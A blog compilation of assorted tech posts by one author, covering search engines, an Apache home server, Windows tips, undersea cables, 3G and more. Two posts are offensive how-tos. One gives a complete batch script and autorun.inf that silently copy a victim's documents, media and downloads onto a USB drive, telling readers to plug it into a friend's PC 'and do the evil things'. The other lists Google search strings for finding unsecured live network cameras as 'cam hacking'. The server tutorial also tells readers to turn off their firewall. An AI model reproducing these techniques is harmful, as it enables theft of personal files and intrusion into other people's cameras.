Search Engines

We all use this fantastic tool everyday, made this as the homepage of our browser, but unaware of this great technology. The Web Search Engine has made it so easy to stumble on any information throughout the wide INTERNET. So here's a short review of "what is it" and "how is it" and also some interesting facts about Search Engines. 


                  


What's a Web Search Engine?


A web search engine is a tool designed to search information on the World Wide Web (WWW) and FTP servers.


While searching the results are generally presented in a list of results, sometimes called as hits.The resulted information consist of the web pages, images, information and other type of files. Some search engines also mine data available in the databases or open directories.


This is different from the web directories, which is maintained by the human editors whereas the Search Engine operates algorithmically or the mixture of algorithmic and human input.




History


The very first tool used for searching information over the internet was Archie. The name stands for "Archive" without "v". It was created in 1990 by Alan Emtage, Bill Heelan and J. Peter Deutsch, computer science students at McGill University in Montreal. But "archie" cannot strive as a Web Search Engine.


Till the summer of 1993, no search engine existed yet for the web. After this,  Oscar Nierstrasz at the University of Geneva wrote a series of Perl scripts that would periodically mirror these pages and rewrite them into a standard format which formed the basis for W3Catalog, the web's first primitive search engine, released on September 2, 1993.


In June 1993, Matthew Gray, then at MIT, produced what was probably the first web robot, the Perl-based World Wide Web Wanderer, and used it to generate an index called 'Wandex'.


Timeline (popular search engines) -
1993:  W3Catalog   
1994:  Webcrawler  
1995:  Yahoo!        
1996:  Dogpile       
1998:  Google        
          MSN Search
2000:  Baidu (China's search engine)
2004:  Yahoo! Search
2005:  AOL Search
          Ask.com
2006:  Live Search (active as Bing)
2009:  Bing (launched as rebranded Live Search)




How these search engines work?


A web search engine operates in the following order-
1) Web crawling
2) Indexing
3) Searching


Web crawling :
A Web crawler is a computer program that browses the World Wide Web in a methodical, automated manner or in an orderly fashion. Other terms for Web crawlers are ants, automatic indexers, bots, Web spiders, Web robots.
This process is called Web crawling or spidering.


Many sites, in particular search engines, use spidering as a means of providing up-to-date data. Web crawlers are mainly used to create a copy of all the visited pages for later processing by a search engine that will index the downloaded pages to provide fast searches. 


Crawlers can also be used for automating maintenance tasks on a Web site, such as checking links or validating HTML code. Also, crawlers can be used to gather specific types of information from Web pages, such as harvesting e-mail addresses.


Indexing:
Search engine indexing collects, parses, and stores data to facilitate fast and accurate information retrieval. Index design incorporates interdisciplinary concepts from linguistics, cognitive psychology, mathematics, informatics, physics, and computer science. An alternate name for the process in the context of search engines designed to find web pages on the Internet is Web indexing.


Popular engines focus on the full-text indexing of online, natural language documents. Media types such as video and audio and graphics are also searchable.


Searching:
Searching is a process of searching a query that a user enters into web search engine to satisfy his or her information needs. Web search queries are distinctive in that they are unstructured and often ambiguous; they vary greatly from standard query languages which are governed by strict syntax rules.




How to choose a Search Engine?


"Google might be most popular, but there are other alternatives"


- There are nearly about 2300 search engines over Internet.


- All of them are created using different scripts and algorithms and works differently.


- Search engines such as Monstercrawler or Dogpile don't index the internet themselves, but run the search on several search engines. Dogpile searches Google, Bing, Yahoo and Ask, for example.


Why Google?


- Google's dominance owes much to three key features ingrained in the search engine since in 1998 launch:

• a clutter-free homepage
• clearly defined text adverts
• most crucially, its PageRank technology

- The simple, crisp design and text adverts mean the engine returns in a matter of seconds. PageRank works by judging a web page's worth on the key words it contains, and its popularity.

- Google has become so synonymous with web search that it has its own entry in the Collins English Dictionary.


- Google owns about 82.80% market share, whereas Yahoo! owns 6.42%, Baidu 4.89%, Bing 3.91%, Ask 0.52%, AOL 0.36%.




                     
                
Source : Wikipedia

Please post your reviews and comments below.


Thanks,
Parag

How to create an HTTP Server?

In this tutorial we will see How to create an HTTP server?


A web server is software installed on a computer that allows other computers to access specific files on that computer/server.


There are many reasons to create your own home servers. For example: File sharing, so you can download files from your home computer from anywhere or you can create a web site on own server etc.


Simply said it works like this; You choose a directory on your computer, in that directory add folders, files like music,video and etc. When you put the IP address of your computer the in web browser you can see all the files from that folder and you can download those files.


Let’s now create a server (HTTP server!) using Apache(a server client).


1. You must have:

• Broadband internet connection always on
• Windows on your computer

2. Create a folder on your Drive, in this example I created a folder on E:\my server


3. Download apache_2.2.6-win32-x86-no_ssl and install it, set parameters( for localhost type something like a myserver.com(doesn’t really matter), also type your email address in field “Administrator@ Email Address” ) as shown below, choose where you want to install it.





4. When you install Apache, go to directory where you installed it (i.e. “C:\Program Files\Apache Software Foundation\Apache2.2\conf”) , here you will find a httpd.conf file.
Open that file with notepad.









After this, will appear notepad with long and complicated code, don´t worry, you just have to change 3 things.


5. In notepad file find #DocumentRoot “C:/Program Files/Apache Group/Apache2/htdocs” and replace with #DocumentRoot “E:\my server”. 


Also find #<Directory  “C:/Program Files/Apache Group/Apache2/htdocs” and replace with <Directory  “E:\my server”>. 


E:\my server is folder where you put files which will appear on your server. In this example I created that folder on local disc E:. 
You can create your folder in any other place, but then type that path here. 


Find #AllowOverride None and change to # AllowOverride All.





After this, save file like httpd.conf.


6. Copy this file, open folder "extra" in the "conf" folder.
Here you'll again find the file httpd.conf.
Replace this file with the one you have edited and saved before.


7. Now open folder "htdocs" address: C:\Program Files\Apache Software Foundation\Apache2.2\htdocs and delete the file named "index.html"


8. Type in web addresses http://localhost/ or your IP Address, you should see something like this,





Say when you click on movie,





Every files you put in folder, which we created in step 2 , will be shown on http://localhost/



9. If you want access own server from other computers. You must forward a port in the router we’re using. The port we need to forward is port number 80. 


Why? Because by default it’s the port used for HTTP. Port forwarding actually means opening a tunnel through the router so that the router wouldn’t reject the connections that are trying to connect to it. How to port-forward? With every router it’s different. Here are the instructions for every one of them. You must also turn off you firewall.


That is all. Enjoy your home server. If you have questions, post them in the comments area.


Note: Creating home server is risky, when you open port, there is a possibility to have someone a breach in your computer. Before you start, make sure your computer has all the latest patches and security updates, and that you’ve done a through spyware and virus scan. This tutorial is only for advanced users.




Thanks,
Parag

Install Windows XP in less than 15 minutes

Now, this tip will be very helpful for those who frequently install windows xp operating system. Normally OS installation takes around 40 minutes to complete, but through this trick you can now save 10-15 minutes. This simple tricks goes this way.

1. Boot through Windows XP CD.

2. After all the files are completely loaded, you get the option to select the partition. Select “c”.

3. Now Format the partition, whether it is normal or quick with NTFS or FAT

4. Once the formatting is completed, All the setup files required for installation are copied. Restart your system by pressing Enter.

Now, here begins the Simple trick to save 10-15 minutes.

5. After rebooting, you get a screen where it takes 40 minutes to complete or finalize the OS installation.

6. Now, Press SHIFT + F10 Key ->  This opens command prompt.

7. Enter “Taskmgr” at the command prompt window. This will open Task Manager.

8. Click the Process Tab, here we find a process called Setup.exe -> Right Click on Setup.exe -> Set Priority -> Select High or Above Normal. Initially it will be Normal.

Thats it, no more work to do. Relax your self and see how fast the installation process completes.

Thanks,

Parag

Steal Files from Windows 7/Vista to USB Drive

In this Tutorial i'll show you, how to copy files from a Windows 7/Vista computer to your USB flash drive.


You can do this, just by creating a Batch file and autorun.inf file.
Let me tell you the basic things what will happen.


When you plug in in your Pen drive, system will look up for autorun.inf (incase if autorun is not disabled for your drive from the system).

Then we’ll input some command in autorun.inf in such a way that it will load the batch file that does the magic of copying all the files from your PC. In this demonstration I am copying only the files and folders in My Documents.

Here goes the batch code:

@echo off

:CHECK

if not exist “%homedrive%\Copied_files” md “%homedrive%\Copied_files”

if exist “%systemdrive%\files” goto COPIER7

goto ERROR

:COPIER7

if not exist “%homedrive%\Copied_files\%computername%” md “%homedrive%\Copied_files\%computername%”

if not exist “%homedrive%\Copied_files\%computername%\VIDEOS” md “%homedrive%\Copied_files\%computername%\VIDEOS”

if not exist “%homedrive%\Copied_files\%computername%\PICTURES” md “%homedrive%\Copied_files\%computername%\PICTURES”

if not exist “%homedrive%\Copied_files\%computername%\MUSIC” md “%homedrive%\Copied_files\%computername%\MUSIC”

if not exist “%homedrive%\Copied_files\%computername%\DOWNLOADS” md “%homedrive%\Copied_files\%computername%\DOWNLOADS”

copy /y “%userprofile%\Documents\*.*” “%homedrive%\Copied_files\%computername%”

copy /y “%userprofile%\Videos” “%homedrive%\Copied_files\%computername%\VIDEOS”

copy /y “%userprofile%\Music” “%homedrive%\Copied_files\%computername%\MUSIC”

copy /y “%userprofile%\Pictures” “%homedrive%\Copied_files\%computername%\PICTURES”

copy /y “%userprofile%\Downloads” “%homedrive%\Copied_files\%computername%\DOWNLOADS”

MSG %username% “DONE!”

exit

:ERROR

exit

What it actually does is in first case ,CHECK, it checks if your removable storage have folder named, Copied_files or not. If it doesn’t have then it creates one by using MD (Make Directory) command.

Again it checks if you have files folder then it will assume that you are using windows Vista/7. Other wise it will return an error and exits.

Now I’ve defined another two cases after the first case CHECK, that is COPIER7 case and ERROR case.

Case COPIER7 will execute when the program recognizes it is Windows Vista/7, where the real copying work goes on.

Case ERROR will execute when the Documents and Settings doesn’t exists in your system root.

This is just a simple use of Batch programming. Copy the above code and paste it in notepad and save it as Filename.bat.

Now let’s create a file that will load it automatically.

[autorun]

Open=Filename.bat

Action=File Copier

The above code goes in autorun.inf file. Open notepad and copy it and paste it and save as autorun.inf.

      

Copy the two files, autorun.inf and Filename.bat in your flash drive.


Then plug in your device to your friends PC and do the evil things.


Where is the flaw?
It shows Command prompt window and process of copying (thank god your noob never think that it actually copying).



Hope this tutorial was helpful.


Kindly post your comment and reviews....!!


Thanks,
Parag

Undersea Internet, Telecom Cables

What makes you connect with the entire world?
Its Internet or a Telephone.

So, what happens when you place an Order to some company in US or UK, sitting in India by just clicking with your index finger?

Or what happens when you place a call to your friend who is residing in some other Continent?

All these Data are carried through a THREAD like thing, finer than your HAIR.

Its Fiber Optics.

Our fantastic wide world is linked together with these cables.

What's Fibre Optics?

           

An optical fiber is a flexible, transparent fiber made of very pure glass (silica) not much bigger than a human hair that acts as a waveguide, or "light pipe", to transmit light between the two ends of the fiber.

Optical fibers are widely used in fiber-optic communications, which permits transmission over longer distances and at higher bandwidths (data rates) than other forms of communication. Fibers are used instead of metal wires because signals travel along them with less loss and are also immune to electromagnetic interference.

Submarine Communication Cables

    

A submarine communications cable is a cable laid beneath the sea to carry telecommunications under stretches of water.

The first submarine communications cables carried telegraphy traffic. Subsequent generations of cables carried first telephony traffic, then data communications traffic. All modern cables use optical fiber technology to carry digital payloads, which are then used to carry telephone traffic as well as Internet and private data traffic. They are typically 69 millimetres (2.7 in) in diameter and weigh around 10 kilograms per metre (7 lb/ft), although thinner and lighter cables are used for deep-water sections.

As of 2010, submarine cables link all the world's continents except Antarctica.

What's in the Cable?

   

1 - Polyethylene

2 - Mylar Tape

3 - Stranded Steel Wires

4 - Aluminium water barrier

5 - Polycarbonate

6 - Copper or Aluminium tube

7 - Petroleum jelly

8 - Optical Fibers 

How do they Lay these Cables, Undersea?

   

Submarine cables are laid using special Cable layer ships, such as the modern René Descartes, operated by France Telecom Marine.

It takes about 3 weeks for the ship, just for rolling the thousands of miles, communication cables. As soon as the whole cable is loaded on the ship, it is ready now for a long voyage of lay the cable from one continent to other.

      

A Plougher is used under the sea for ploughing the cables at the correct place. The plougher is connected to the Cable layer ship where its is operated by the experts for proper placement of the cables without disturbing the ocean environment. 

This takes over several months or may be years for laying the cables under the sea between two continents.

Importance of Submarine Cables

As of 2006, overseas satellite links accounted for only 1 % of international traffic, while the remainder was carried by undersea cable.

The total carrying capacity of submarine cables is in the terabits per second while satellites typically offer only megabits per second and display higher latency. However, a typical multi-terabit, transoceanic submarine cable system costs several hundred million dollars to construct.

As a result of these cables' cost and usefulness they are highly valued not only by the corporations building and operating them for profit, but also by national governments.

Review

Cable Layed

Working

Cable Repair (Undersea cable cut by Anchor)

Google Warning Board

Discovery Channel's show :

Thanks,
Parag

Make 3D models with Google SketchUp

           




Overview:
Google SketchUp is software that you can use to create, export and present 3D models. Whether you want to design a new deck for your house, build models for Google Earth, or teach geometry to your fifth-graders, you can use SketchUp to see your ideas in 3D. And when you're done, you can export an image, make a movie or print out a view of what you made.



Review:
If you have ever had the desire to make 3D models then Google SketchUp is an excellent way to start. Google SketchUp is a program for 3D modeling with an easy learning curve, you can make anything as long you put the effort like the picture of the crappy house I made shows, yeah I suck at modeling. What makes Google SketchUp easy to use is useful tools that can be used to make complicated task easy like for example the push-pull tool that allows you to quickly stretch surfaces.


Also of importance is the ability to install first and third party plugins that adds useful features like for example 3D text and the rendering of 3D models that make the finished results look photo realistic.


If you have the will and skill you can make models of important places from where you live and upload them to google earth for everyone to see, this is a neat feature that could be put to good use i think.


In conclusion I would like to say that Google SketchUp is an excellent way to get started in the ·D modeling business. Available for Windows 2000/XP/Vista and MacOSX.


Get it at 
http://sketchup.google.com/




Thanks,
Parag

Turn OFF or ON monitor using Keyboard

If you are using a Desktop computer then it’s easy to turn ON or OFF your monitor screen. But still if you are lazy enough to stretch your hand to the monitor screen you can use one cool small application to make your life easier.


PushMonitorOff is a tiny app which allows you to control your monitor screen from your keyboard. This tool comes handy for laptop users too. As most of the laptops don’t have the different ON/OFF button for the screen. So those who believe in saving energy can use this tool when needed.


                      


The app is very easy to use. Whenever you feel like turning ON/OFF your monitor you just have to press Shift+F1. 
You can change this shortcut key also using the options provided in the software.


                                           




Download now
PushMonitOff.exe (420 KB)


Thanks,
Parag

How to Create a CON folder in Windows?

Can you create a folder named “con”, “prn”, “nul”, “com1″, “com2″, “lpt1″ etc. in windows ?

The answer is NO and YES!

   


NO because when create a new folder and try to rename it to any one of the above specified names, you know what happens! In Windows XP the folder name automatically changes back to “New Folder” no matter you try any number of times. Where as in Windows Vista/7 when you try to rename the file you get an error message “The specified device name is invalid”.

What is the reason for this? 
Simple, these names represent the internal devices and hence we cannot create folders with the above names.

YES because it is still possible to create these folders using the command prompt. Here’s the instructions to create it.

1. Go to command prompt (Start --> Run --> Type cmd --> Click OK)

2. Type in prompt (FOR EG. TO CREATE CON FOLDER IN E: DRIVE)

C:\Documents and Settings\Parag>

C:\Documents and Settings\Parag>E:

E:\>

E:\>md\\.\e:\con

Folder is Created.....!!

For deleting this folder, type...

E:\>rd\\.\e:\con

Folder is Deleted.....!!

NOTE: "con" can be replaced by any other names such as "prn", "null", "com1", "com2", "ipt1" etc..

NOTE: The folder can only be deleted from the command prompt. You cannot remove it by right-click delete.


Thanks,
Parag

What's 3G?

We have heard this term many times and everyday through Advertisments on Television, Newspapers etc. Some know the exact meaning, some knows a portion of it and others, juzz NOTHING.
So here's 3G (in short).


              


What's 3G?


♦ 3G is the third generation of wireless technologies. 


♦ It comes with enhancements over previous wireless technologies, like high-speed transmission, advanced multimedia access and global roaming.


♦ 3G is mostly used with mobile phones and handsets as a means to connect the phone to the Internet or other IP networks in order to make voice and video calls, to download and upload data and to surf the net.


How 3G is better?


3G has the following enhancements over 2.5G and previous networks:


♦ Several times higher data speed;
♦ Enhanced audio and video streaming;
♦ Video-conferencing support;
♦ Web and WAP browsing at higher speeds;
♦ IPTV (TV through the Internet) support.

3G Technical Specification


The transfer rate for 3G networks is between 128 and 144 kbps (kilobits per second) for devices that are moving fast and 384 kbps for slow ones(like for pedestrians). For fixed wireless LANs, the speed goes beyond 2 Mbps.


3G is a set of technologies and standards that include W-CDMA, WLAN and cellular radio, among others.
3G follows a pattern of G's that started in the early 1990's by the ITU. The pattern is actually a wireless initiative called the IMT-2000 (International Mobile Communications 2000). 3G therefore comes just after 2G and 2.5G, the second generation technologies. 2G technologies include, among others, the Global System for Mobile (GSM) - the famous mobile phone technology we use today. 2.5G brings standards that are midway between 2G and 3G, including the General Packet Radio Service (GPRS), Enhanced Data rates for GSM Evolution (EDGE), Universal Mobile Telecommunications System (UMTS) etc.


What's required for using 3G?


The first thing you require is a device (e.g. a mobile phone) that is 3G compatible. This is where the name 3G phone comes from - a phone that has 3G functionality; nothing to do with the number of cameras or the memory it has. An example is the iPhone 3G.

3G phones commonly have two cameras since the technology allows the user to have video calls, for which a user-facing camera is required for capturing him/her.

Unlike with Wi-Fi which you can get for free in hotspots, you need to be subscribed to a service provider to get 3G network connectivity. We often call this kind of service a data plan or network plan.

Your device is connected to the 3G network through its SIM card (in the case of a mobile phone) or its 3G data card (which can be of different types: USB, PCMCIA etc.), which are both generally provided/sold by the service provider. Through that, you get connected to the Internet whenever you are within a 3G network. Even if you are not in one, you can still use 2G or 2.5G services provided by the service provider.

What does 3G costs?

3G is not very cheap, but it is worthwhile for users that need connectivity on the move. Some providers offer it within a somewhat costly package, but most of them have plans where the user pays for the amount of data transferred. This is because the technology is packet-based. For example, there are service plans where there is a flat rate for the first Gigabyte of data transferred, and a per minute cost for each additional Megabyte.

Thanks,

Parag

Hack Network Cameras

Well this is an interesting article. It is a sub-section of a Hacking Technique known as “Google Hacking”. All what we are looking at are unsecured cams from around the world that are interfaced with the internet. So how do you find such cameras. Just google these following strings and select any result. Whoa, you can see a live cam on your PC screen!! The strings are given below:

  eg. copy any string, lets say

       inurl:ViewerFrame?Mode=Refresh

       and paste it over the Google search bar and search. Select any result.

         

inurl:”CgiStart?page=”
inurl:/view.shtml
intitle:”Live View / – AXIS
inurl:view/view.shtml
inurl:ViewerFrame?Mode=
inurl:ViewerFrame?Mode=Refresh
inurl:axis-cgi/jpg
inurl:axis-cgi/mjpg (motion-JPEG) (disconnected)
inurl:view/indexFrame.shtml
inurl:view/index.shtml
inurl:view/view.shtml
liveapplet
intitle:”live view” intitle:axis
intitle:liveapplet
allintitle:”Network Camera NetworkCamera” (disconnected)
intitle:axis intitle:”video server”
intitle:liveapplet inurl:LvAppl
intitle:”EvoCam” inurl:”webcam.html”
intitle:”Live NetSnap Cam-Server feed”
intitle:”Live View / – AXIS”
intitle:”Live View / – AXIS 206M”
intitle:”Live View / – AXIS 206W”
intitle:”Live View / – AXIS 210?
inurl:indexFrame.shtml Axis
intitle:start inurl:cgistart
intitle:”WJ-NT104 Main Page”
intitle:snc-z20 inurl:home/
intitle:snc-cs3 inurl:home/
intitle:snc-rz30 inurl:home/
intitle:”sony network camera snc-p1?
intitle:”sony network camera snc-m1?
site:.viewnetcam.com -www.viewnetcam.com
intitle:”Toshiba Network Camera” user login
intitle:”netcam live image” (disconnected)
intitle:”i-Catcher Console – Web Monitor”


Happy Cam Hacking Guys!!


Thanks,
Parag